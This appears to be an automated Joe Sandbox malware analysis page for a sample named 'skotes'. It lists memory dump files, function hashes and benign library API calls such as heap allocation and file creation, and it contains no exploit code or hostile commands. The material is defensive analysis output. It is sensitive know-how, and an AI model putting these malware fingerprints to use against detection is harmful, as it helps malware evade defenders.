Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 70ced76cafa92d50b403144ca53d0678bbf0984a532d802a2fa824f0e8932cb9
Instruction ID: 14592ef0133156cf979ef3a91d1c34bc51726a1ca7ff9ba8c70a659ae8f7af4a
Opcode Fuzzy Hash: 70ced76cafa92d50b403144ca53d0678bbf0984a532d802a2fa824f0e8932cb9
Instruction Fuzzy Hash: 41111571A0420AAFCF05DF58E941A9B7BF5EF48314F0440AAF809AB351D670EE21DB65

Function 00EDD82F Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00EDA813,00000001,00000364,00000006,000000FF,?,00EBD3FC,948A6F40,?,00EB7A8B,?), ref: 00EDD871

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e22fa5a8c106963a49af1f4aeae738129107b169ab2f17b1474ab4b43362aef2
Instruction ID: 459b24a8193617105e304e019029d7592cb8e7bfeac40e057e0d051f34156398
Opcode Fuzzy Hash: e22fa5a8c106963a49af1f4aeae738129107b169ab2f17b1474ab4b43362aef2
Instruction Fuzzy Hash: 04F0E93960912476EB2B2A72AC01A9B7799DF45370B14A023EC08F7381DA20EC03A6E0

Function 00EDB04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,948A6F40,?,?,00EBD3FC,948A6F40,?,00EB7A8B,?,?,?,?,?,?,00EA7465,?), ref: 00EDB07E

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a80b8fa88aa4a1cf4a5dadc43ab96154bd167e91aef1a711fc3746c9880c6a4d
Instruction ID: 646fe4dce87137018b2f6745b26b0b28850dfa051d258a842464b5cbdb694b77
Opcode Fuzzy Hash: a80b8fa88aa4a1cf4a5dadc43ab96154bd167e91aef1a711fc3746c9880c6a4d
Instruction Fuzzy Hash: ADE06535141215D6EA3132755D40B9FBB89DB427A4F163213ED64B6391FB50DC0391E1

Function 00EE1775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00EE1B65,?,?,00000000,?,00EE1B65,00000000,0000000C), ref: 00EE1792

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8070d5c5a524bf6d9d33e65791f97e4f27bf55c7b3aef123298c351749e38d33
Instruction ID: eb2cd6c2f65c571d12cb6c314cda1daa92a961b9924b37174281087bc61c085d
Opcode Fuzzy Hash: 8070d5c5a524bf6d9d33e65791f97e4f27bf55c7b3aef123298c351749e38d33
Instruction Fuzzy Hash: C5D0923205010DBBDF129E85DD02EDA3BAAFB48714F014100BE1866020C732E871AB94

Function 04C10C48 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3394827188.0000000004C10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4c10000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00021af85d5e759b53e09131594a6a0faa7fb8beac3565c354a6c20cd80c6d4a
Instruction ID: 3a255b13805e0c2eacb7202f75ea8277c0b32dc9a7bce2c66aeeb7c1d5e148e1
Opcode Fuzzy Hash: 00021af85d5e759b53e09131594a6a0faa7fb8beac3565c354a6c20cd80c6d4a
Instruction Fuzzy Hash: 6011BDB324D2E4ED4242659B0690AB93E1BAB436B07380066F4074FC62F25169D1B992

Function 04C10BEF Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3394827188.0000000004C10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4c10000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e378864315cb265cae3e56032567c56e6794f76cbde5f6b630422df5e412b09d
Instruction ID: 25b9f2eba505aeab724ad991bdc5c5218fd3082f7add7296e65cc2c2fa2b6538
Opcode Fuzzy Hash: e378864315cb265cae3e56032567c56e6794f76cbde5f6b630422df5e412b09d
Instruction Fuzzy Hash: 6A016FB334D2E9EE814325574A616BB3F5BAB032707380076F4434BDE3E25125D0B592

Function 04C10BE6 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3394827188.0000000004C10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4c10000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f122daaeec0c55b86a301c9ae1d5760b3040a86ccb4de2b5a5d99f6962b386a0
Instruction ID: eafa8cb8db911416ba050b4df36d3fe917ae6b4b35e9da887c35cceab6a08a41
Opcode Fuzzy Hash: f122daaeec0c55b86a301c9ae1d5760b3040a86ccb4de2b5a5d99f6962b386a0
Instruction Fuzzy Hash: 600147B334E2A9FD015265970761A7B3D4BB687370B388036F8078BD62F29175D1B992

Function 04C10C0B Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3394827188.0000000004C10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4c10000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d61d498374b280e860ef7093f9fefbc1e3a371f79862521706c7df40c7f7285
Instruction ID: cb312bd9a91a7e675e8e2908bfc164fb876ffa0bfe1e2ff5c5f4fabde606115d
Opcode Fuzzy Hash: 6d61d498374b280e860ef7093f9fefbc1e3a371f79862521706c7df40c7f7285
Instruction Fuzzy Hash: 5201C0B330E3A4ED4142255743512793D47FB03370B384035F4030AD62F3913490B982

Function 04C10C24 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3394827188.0000000004C10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4c10000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 023756d92662a8bbda195226534883046671fad48a78cdb785627d8969f5f1a0
Instruction ID: 0a8444458a05407c3db5aa5e1873a1813cc36fe548f8045c9111e7e73f847b5a
Opcode Fuzzy Hash: 023756d92662a8bbda195226534883046671fad48a78cdb785627d8969f5f1a0
Instruction Fuzzy Hash: 18F07DB334D2E4FE4153259703512BA3E5BBA473B0B344075F4074EE62F3962591B983

Function 04C10C30 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3394827188.0000000004C10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4c10000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a64da89a0c51323e565f530418fb8c3a7cad8d47c593c8bd8cf81489cab7031c
Instruction ID: f2ae48425055f3a312aedf46a4c8dc7b9c8cef10ec4bc9c06d731020d686bc2c
Opcode Fuzzy Hash: a64da89a0c51323e565f530418fb8c3a7cad8d47c593c8bd8cf81489cab7031c
Instruction Fuzzy Hash: 4B017DB320D3A4EE8656759707416797E57B947370B344076F8030FE62F3952591BA82

Function 04C10C7D Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3394827188.0000000004C10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4c10000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfa13aa238ce7f42eba6f0fa1e9763f6756309a9d7c7d72c3219bc6e4edb3ea6
Instruction ID: c0e236af7c96fc773cdf8e20cbc5de010d77a4f23ce3123faafab7e9fd58fb1f
